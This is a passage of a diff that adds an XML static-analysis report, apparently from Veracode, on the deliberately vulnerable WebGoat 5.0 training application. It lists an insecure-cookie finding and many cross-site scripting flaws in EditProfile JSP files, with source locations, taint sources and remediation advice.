+        note=\"\" cweid=\"614\" remediationeffort=\"1\" exploitLevel=\"0\" categoryid=\"12\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"pnn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"WeakSessionID.java\"
+        line=\"209\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.WeakSessionID\"
+        functionprototype=\"apache.ecs.Element makeLogin(session.WebSession)\" functionrelativelocation=\"8\"/>\n<flaw
+        severity=\"2\" categoryname=\"Sensitive Cookie in HTTPS Session Without 'Secure'
+        Attribute\" count=\"1\" issueid=\"52\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.http.HttpServletResponse.addCookie\" description=\"This
+        call to javax.servlet.http.HttpServletResponse.addCookie() adds a cookie to
+        the HTTP response that does not have the Secure attribute set. Failing to
+        set this attribute allows the browser to send the cookie unencrypted over
+        an HTTP session.\r\n\r\nSet the Secure attribute for all cookies used by HTTPS
+        sessions.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/614.html)
+        \r\nWASC (http://webappsec.pbworks.com/Insufficient-Transport-Layer-Protection)\r\n\r\n\"
+        note=\"\" cweid=\"614\" remediationeffort=\"1\" exploitLevel=\"0\" categoryid=\"12\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"pnn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"WebSession.java\"
+        line=\"335\" sourcefilepath=\"org/owasp/webgoat/session/\" scope=\"org.owasp.webgoat.session.WebSession\"
+        functionprototype=\"void eatCookies()\" functionrelativelocation=\"79\"/>\n</staticflaws>\n</cwe>\n</category>\n</severity>\n<severity
+        level=\"1\"/>\n<severity level=\"0\">\n<category categoryid=\"20\" categoryname=\"Cross-Site
+        Scripting\" pcirelated=\"false\">\n<desc>\n<para text=\"Cross-site scripting
+        (XSS) attacks occur when an attacker uses a web application to send malicious
+        code, generally in the form of a browser side script, to a different end user.
+        Flaws that allow these attacks to succeed occur whenever a web application
+        uses untrusted data in the output it generates without validating or encoding
+        it.  XSS vulnerabilities are commonly exploited to steal or manipulate cookies,
+        modify presentation of content, and compromise sensitive information, with
+        new attack vectors being discovered on a regular basis.  XSS is also commonly
+        referred to as HTML injection.\"/>\n<para text=\"XSS vulnerabilities can be
+        either persistent or transient (often referred to as stored and reflected,
+        respectively).  In a persistent XSS vulnerability, the injected code is stored
+        by the application, for example within a blog comment or message board.  The
+        attack occurs whenever a victim views the page containing the malicious script.
+        \ In a transient XSS vulnerability, the injected code is included directly
+        in the HTTP request.  These attacks are often carried out via malicious URLs
+        sent via email or another website and requires the victim to browse to that
+        link.  The consequence of an XSS attack to a victim is the same regardless
+        of whether it is persistent or transient; however, persistent XSS vulnerabilities
+        are likely to affect a greater number of victims due to its delivery mechanism.\"/>\n</desc>\n<recommendations>\n<para
+        text=\"Several techniques can be used to prevent XSS attacks. These techniques
+        complement each other and address security at different points in the application.
+        Using multiple techniques provides defense-in-depth and minimizes the likelihood
+        of a XSS vulnerability.\">\n<bulletitem text=\"Use output filtering to sanitize
+        all output generated from user-supplied input, selecting the appropriate method
+        of encoding based on the use case of the untrusted data.  For example, if
+        the data is being written to the body of an HTML page, use HTML entity encoding.
+        \ However, if the data is being used to construct generated Javascript or
+        if it is consumed by client-side methods that may interpret it as code (a
+        common technique in Web 2.0 applications), additional restrictions may be
+        necessary beyond simple HTML encoding.\"/>\n<bulletitem text=\"Validate user-supplied
+        input using positive filters (white lists) to ensure that it conforms to the
+        expected format, using centralized data validation routines when possible.
+        \"/>\n<bulletitem text=\"Do not permit users to include HTML content in posts,
+        notes, or other data that will be displayed by the application.  If users
+        are permitted to include HTML tags, then carefully limit access to specific
+        elements or attributes, and use strict validation filters to prevent abuse.\"/>\n</para>\n</recommendations>\n<cwe
+        cweid=\"80\" cwename=\"Improper Neutralization of Script-Related HTML Tags
+        in a Web Page (Basic XSS)\" pcirelated=\"false\" owasp=\"931\" sans=\"79\">\n<description>\n<text
+        text=\"This call contains a cross-site scripting (XSS) flaw.  The application
+        populates the HTTP response with user-supplied input, allowing an attacker
+        to embed malicious content, such as Javascript code, which will be executed
+        in the context of the victim's browser.  XSS vulnerabilities are commonly
+        exploited to steal or manipulate cookies, modify presentation of content,
+        and compromise confidential information, with new attack vectors being discovered
+        on a regular basis.\"/>\n</description>\n<staticflaws>\n<flaw severity=\"0\"
+        categoryname=\"Improper Neutralization of Script-Related HTML Tags in a Web
+        Page (Basic XSS)\" count=\"1\" issueid=\"184\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionDate().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile.jsp\"
+        line=\"89\" sourcefilepath=\"/lessons/RoleBasedAccessControl/\" scope=\"com.veracode.compiledjsp.xWebGoat50withjspwar.lessons.RoleBasedAccessControl.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"56\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"240\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionNotes().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile.jsp\"
+        line=\"94\" sourcefilepath=\"/lessons/RoleBasedAccessControl/\" scope=\"com.veracode.compiledjsp.xWebGoat50withjspwar.lessons.RoleBasedAccessControl.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"60\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"177\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable webSession.getUserNameInLesson().
+        The tainted data originated from an earlier call to java.sql.statement.executequery.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"52\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"15\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
+        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"63\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable webSession.getUserNameInLesson().
+        The tainted data originated from an earlier call to java.sql.statement.executequery.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"52\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"15\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
+        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"84\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable webSession.getUserNameInLesson().
+        The tainted data originated from an earlier call to java.sql.statement.executequery.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"52\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"15\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
+        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"62\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getFirstName().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"58\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"20\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"77\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getFirstName().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"58\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"20\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"161\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getFirstName().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"58\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"20\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"128\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getLastName().
+        The tainted data originated from earlier calls to java.sql.statement.executequery,
+        javax.servlet.servletrequest.getparameter, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"62\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"24\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"268\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
